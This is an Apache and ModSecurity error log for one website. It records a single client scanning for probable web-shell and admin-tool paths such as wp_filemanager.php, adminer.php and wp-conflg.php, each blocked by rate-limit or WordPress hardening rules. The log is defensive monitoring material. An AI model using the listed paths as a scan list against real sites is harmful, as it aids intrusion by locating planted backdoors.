[Mon Nov 24 10:24:19.766675 2025] [:error] [pid 16441:tid 16468] [client 101.91.148.219:45094] [client 101.91.148.219] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aSPB04q_bc5MOa9HflmiMAAAAJg"]
[Mon Nov 24 14:13:52.450327 2025] [:error] [pid 48601:tid 48677] [client 177.37.140.226:16844] [client 177.37.140.226] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.37.140.226, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aSP3oIMM4MaVTk74-AaOiwAAAhQ"]
[Mon Nov 24 16:55:20.973328 2025] [:error] [pid 49900:tid 49919] [client 182.44.9.147:48093] [client 182.44.9.147] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSQdeDCyPLrvg06aorkG1gAAABE"]
[Mon Nov 24 17:50:54.529594 2025] [:error] [pid 48601:tid 48665] [client 4.233.64.129:42940] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aSQqfoMM4MaVTk74-Aa5-gAAAgg"]
[Mon Nov 24 17:51:00.087533 2025] [:error] [pid 48600:tid 48649] [client 4.233.64.129:42778] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aSQqhPtOzSUAQvWVjBd-GQAAAdM"]
[Mon Nov 24 17:51:02.582750 2025] [:error] [pid 48601:tid 48666] [client 4.233.64.129:42763] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aSQqhoMM4MaVTk74-Aa6AAAAAgk"]
[Mon Nov 24 20:42:11.736743 2025] [autoindex:error] [pid 16516:tid 16522] [client 54.88.25.47:58069] AH01276: Cannot serve directory /home/measureyourbrand/public_html/.well-known/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Nov 24 20:47:31.867160 2025] [:error] [pid 16441:tid 16466] [client 170.106.15.3:39968] [client 170.106.15.3] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aSRT44q_bc5MOa9HflmAkAAAAJY"]
[Mon Nov 24 20:57:25.549098 2025] [:error] [pid 16549:tid 16569] [client 4.233.64.129:51551] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/marijuana.php"] [unique_id "aSRWNaeWW19A99PUw_dgmwAAAVE"]
[Mon Nov 24 20:57:29.129396 2025] [:error] [pid 48688:tid 48710] [client 4.233.64.129:29452] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/marijuana.php"] [unique_id "aSRWORm2q1FkzLam7A3GoAAAAlI"]
[Mon Nov 24 20:57:32.660841 2025] [:error] [pid 16441:tid 16460] [client 4.233.64.129:29463] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/marijuana.php"] [unique_id "aSRWPIq_bc5MOa9HflmDGAAAAJA"]
[Mon Nov 24 20:57:34.836071 2025] [:error] [pid 48601:tid 48672] [client 4.233.64.129:51548] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/marijuana.php"] [unique_id "aSRWPoMM4MaVTk74-Abd1gAAAg8"]
[Mon Nov 24 20:57:40.946976 2025] [:error] [pid 48600:tid 48647] [client 4.233.64.129:51582] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "aSRWRPtOzSUAQvWVjBebOgAAAdE"]
[Mon Nov 24 20:57:43.164469 2025] [:error] [pid 48599:tid 48624] [client 4.233.64.129:51555] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "aSRWR5zvu6PDJiRKE3JJPQAAAZU"]
[Mon Nov 24 20:57:45.753911 2025] [:error] [pid 16593:tid 16613] [client 4.233.64.129:51532] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/modules/mod_simplefileuploadv1.3/elements/filemanager.php"] [unique_id "aSRWSRVGznHBJI2LKpRk-QAAApI"]
[Mon Nov 24 20:57:51.629808 2025] [:error] [pid 48599:tid 48607] [client 4.233.64.129:51528] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aSRWT5zvu6PDJiRKE3JJRwAAAYQ"]
[Mon Nov 24 20:57:54.759858 2025] [:error] [pid 16549:tid 16561] [client 4.233.64.129:29481] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aSRWUqeWW19A99PUw_dgsgAAAUk"]
[Mon Nov 24 20:57:58.050618 2025] [:error] [pid 49900:tid 49902] [client 4.233.64.129:29458] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aSRWVjCyPLrvg06aork_bgAAAAA"]
[Mon Nov 24 20:58:01.830875 2025] [:error] [pid 49900:tid 49905] [client 4.233.64.129:29479] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aSRWWTCyPLrvg06aork_cgAAAAM"]
[Mon Nov 24 20:58:08.850069 2025] [:error] [pid 9630:tid 9640] [client 4.233.64.129:51569] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aSRWYCrSgUgPGkizt2osPQAAAEg"]
[Mon Nov 24 20:58:10.455487 2025] [:error] [pid 49900:tid 49919] [client 4.233.64.129:51553] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aSRWYjCyPLrvg06aork_fQAAABE"]
[Mon Nov 24 20:58:13.086738 2025] [:error] [pid 16441:tid 16460] [client 4.233.64.129:51544] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aSRWZYq_bc5MOa9HflmDMAAAAJA"]
[Mon Nov 24 20:58:15.505636 2025] [:error] [pid 49900:tid 49903] [client 4.233.64.129:51578] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aSRWZzCyPLrvg06aork_fwAAAAE"]
[Mon Nov 24 20:58:17.909364 2025] [:error] [pid 16441:tid 16446] [client 4.233.64.129:29443] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aSRWaYq_bc5MOa9HflmDNgAAAII"]
[Mon Nov 24 20:58:19.966475 2025] [:error] [pid 49900:tid 49916] [client 4.233.64.129:29465] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aSRWazCyPLrvg06aork_gAAAAA4"]
[Mon Nov 24 20:58:23.195643 2025] [:error] [pid 16549:tid 16560] [client 4.233.64.129:29475] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aSRWb6eWW19A99PUw_dgugAAAUg"]
[Mon Nov 24 20:58:24.705153 2025] [:error] [pid 16441:tid 16450] [client 4.233.64.129:29454] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/autoload_classmap.php"] [unique_id "aSRWcIq_bc5MOa9HflmDOgAAAIY"]
[Mon Nov 24 20:58:27.644670 2025] [:error] [pid 16549:tid 16577] [client 4.233.64.129:51538] [client 4.233.64.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aSRWc6eWW19A99PUw_dgygAAAVg"]
[Mon Nov 24 20:58:36.992775 2025] [:error] [pid 48600:tid 48642] [client 4.233.64.129:51526] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSRWfPtOzSUAQvWVjBebYQAAAcw"]
[Mon Nov 24 20:58:47.535385 2025] [:error] [pid 48601:tid 48657] [client 4.233.64.129:28868] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSRWh4MM4MaVTk74-Abd9gAAAgA"]
[Mon Nov 24 20:58:51.756692 2025] [:error] [pid 48601:tid 48659] [client 4.233.64.129:29484] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aSRWi4MM4MaVTk74-AbeDAAAAgI"]
[Mon Nov 24 20:58:53.533882 2025] [:error] [pid 48601:tid 48672] [client 4.233.64.129:51521] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminer.php"] [unique_id "aSRWjYMM4MaVTk74-AbeFwAAAg8"]
[Mon Nov 24 20:58:56.927500 2025] [:error] [pid 16549:tid 16574] [client 4.233.64.129:51549] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminer.php"] [unique_id "aSRWkKeWW19A99PUw_dg3AAAAVU"]
[Mon Nov 24 20:59:01.075876 2025] [:error] [pid 48599:tid 48614] [client 4.233.64.129:51583] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminer.php"] [unique_id "aSRWlZzvu6PDJiRKE3JJcAAAAYs"]
[Mon Nov 24 20:59:01.863864 2025] [:error] [pid 16441:tid 16445] [client 4.233.64.129:29452] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminer.php"] [unique_id "aSRWlYq_bc5MOa9HflmDjgAAAIE"]
[Mon Nov 24 20:59:03.631080 2025] [:error] [pid 48600:tid 48635] [client 4.233.64.129:29485] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-ksv1i.php"] [unique_id "aSRWl_tOzSUAQvWVjBebbwAAAcU"]
[Mon Nov 24 20:59:04.699043 2025] [:error] [pid 16441:tid 16465] [client 4.233.64.129:29459] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-ksv1i.php"] [unique_id "aSRWmIq_bc5MOa9HflmDkAAAAJU"]
[Mon Nov 24 20:59:09.391866 2025] [:error] [pid 49900:tid 49923] [client 4.233.64.129:51574] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-ksv1i.php"] [unique_id "aSRWnTCyPLrvg06aork_nwAAABU"]
[Mon Nov 24 20:59:11.738194 2025] [:error] [pid 48599:tid 48626] [client 4.233.64.129:29445] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/images/wp-ksv1i.php"] [unique_id "aSRWn5zvu6PDJiRKE3JJcgAAAZc"]
[Mon Nov 24 20:59:13.337123 2025] [:error] [pid 16593:tid 16600] [client 4.233.64.129:28891] [client 4.233.64.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/zmFM.php"] [unique_id "aSRWoRVGznHBJI2LKpRlLwAAAoU"]
[Mon Nov 24 20:59:19.867333 2025] [:error] [pid 49900:tid 49925] [client 4.233.64.129:51543] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "aSRWpzCyPLrvg06aork_qgAAABc"]
[Mon Nov 24 20:59:23.898196 2025] [:error] [pid 9630:tid 9635] [client 4.233.64.129:51525] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "aSRWqyrSgUgPGkizt2osfQAAAEM"]
[Mon Nov 24 20:59:25.882210 2025] [:error] [pid 49900:tid 49926] [client 4.233.64.129:29464] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/admin.php"] [unique_id "aSRWrTCyPLrvg06aork_sgAAABg"]
[Mon Nov 24 20:59:30.160314 2025] [:error] [pid 16516:tid 16540] [client 4.233.64.129:29500] [client 4.233.64.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/0.php"] [unique_id "aSRWsvqZbniwaNwL8XkFjQAAARU"]
[Mon Nov 24 20:59:33.154873 2025] [:error] [pid 16593:tid 16599] [client 4.233.64.129:28907] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aSRWtRVGznHBJI2LKpRlPgAAAoQ"]
[Mon Nov 24 20:59:35.099967 2025] [:error] [pid 9630:tid 9636] [client 4.233.64.129:51541] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plugins/Cache/footer.php"] [unique_id "aSRWtyrSgUgPGkizt2osgQAAAEQ"]
[Mon Nov 24 20:59:42.591914 2025] [:error] [pid 49900:tid 49924] [client 4.233.64.129:29456] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/plugins/Cache/footer.php"] [unique_id "aSRWvjCyPLrvg06aork_vgAAABY"]
[Mon Nov 24 20:59:47.242599 2025] [:error] [pid 16441:tid 16466] [client 4.233.64.129:29460] [client 4.233.64.129] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aSRWw4q_bc5MOa9HflmDowAAAJY"]
[Mon Nov 24 20:59:49.169844 2025] [:error] [pid 49900:tid 49908] [client 4.233.64.129:29495] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aSRWxTCyPLrvg06aork_zwAAAAY"]
[Mon Nov 24 20:59:51.693302 2025] [:error] [pid 49900:tid 49909] [client 4.233.64.129:29489] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aSRWxzCyPLrvg06aork_2QAAAAc"]
[Mon Nov 24 20:59:56.586072 2025] [:error] [pid 16593:tid 16613] [client 4.233.64.129:51547] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aSRWzBVGznHBJI2LKpRlRQAAApI"]
[Mon Nov 24 20:59:58.575728 2025] [:error] [pid 16441:tid 16448] [client 4.233.64.129:51535] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aSRWzoq_bc5MOa9HflmD1wAAAIQ"]
[Mon Nov 24 21:00:00.486710 2025] [:error] [pid 48600:tid 48649] [client 4.233.64.129:28918] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/i1.php"] [unique_id "aSRW0PtOzSUAQvWVjBebewAAAdM"]
[Mon Nov 24 21:00:03.164425 2025] [:error] [pid 48599:tid 48605] [client 4.233.64.129:28878] [client 4.233.64.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/i1.php"] [unique_id "aSRW05zvu6PDJiRKE3JJlwAAAYI"]
